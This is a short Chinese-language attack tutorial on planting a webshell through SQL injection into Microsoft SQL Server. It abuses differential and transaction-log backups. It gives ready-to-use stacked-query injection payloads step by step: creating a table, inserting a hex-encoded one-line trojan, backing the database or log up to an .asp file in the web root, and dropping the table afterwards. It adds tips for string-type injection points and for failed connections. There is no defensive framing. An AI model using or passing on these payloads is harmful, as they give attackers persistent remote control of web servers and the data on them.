一、差异备份的条件:
1、要有列目录的权限(能列目录当然不能低于DB_owner)
2、HTTP500错误不是自定义。可能大家不明白这是什么意思。
3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。
4、数据量不能太大,太大了没法在IE打开。
二、差异备份的步骤:
第一步:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x库名 backup database @a to disk=@s--
备份当前数据库,以差异备份. “0x库名”这里备份的库名转换成16位进制。
当遇到字符型的注入点时要在;号前加一’号,如:htttp://www.*****.asp?id=1231';declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x库名 backup database @a to disk=@s--
第二步:
;Drop table [zkj];create table [dbo].[zkj] ([cmd] [image])--
建表加字段....
第三步:
insert into zkj(cmd) values(0x一句话木马)--
写入一句话木马 “0x一句话木马”用一句话木马的16位进制代码
第四步:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 备份得到shell
这是最关键的一步bakshell
“0x备份路径” 这是备份的Web路径的16位进制编码,也就是webshell的路径
假如备份的是F:\web\zkj.asp
16进制: 0x463A5C7765625C6861636B35382E617370
查看是否备份成功
第五步:
Drop table [zkj]--
删除表
PS:如果用一句话客户端连不上
分两种情况:
1.磁盘没有写的权限(找个有写的权限的目录重新备份,有可能成功)
2.FSO被删
DB权限LOG备份
一、条件
1、必需得知道Web目录
2.Web和数据库没有分离
PS:如果WEB和数据库分离,并不代表我们没有机会,我们照样可以备份,只是需要满足些条件。
二、具体步骤:
第一步:
;alter database 库名 set RECOVERY FULL--
第二步:
;create table cmd (a image)--
第三步:
;backup log 库名 to disk = 'c:\cmd' with init--
这样有点类似于增量备份的第一步,不过有点不同的是,做了这一步以后,备份出来的可用的shell是固定的。
第四步:
;insert into cmd (a) values (0x一句话木马)--
第五步:
;backup log 库名 to disk = 'Web路径\zkj.asp'--
第六步:
;drop table cmd--
PS:如果是字符型,请一定在语句前加'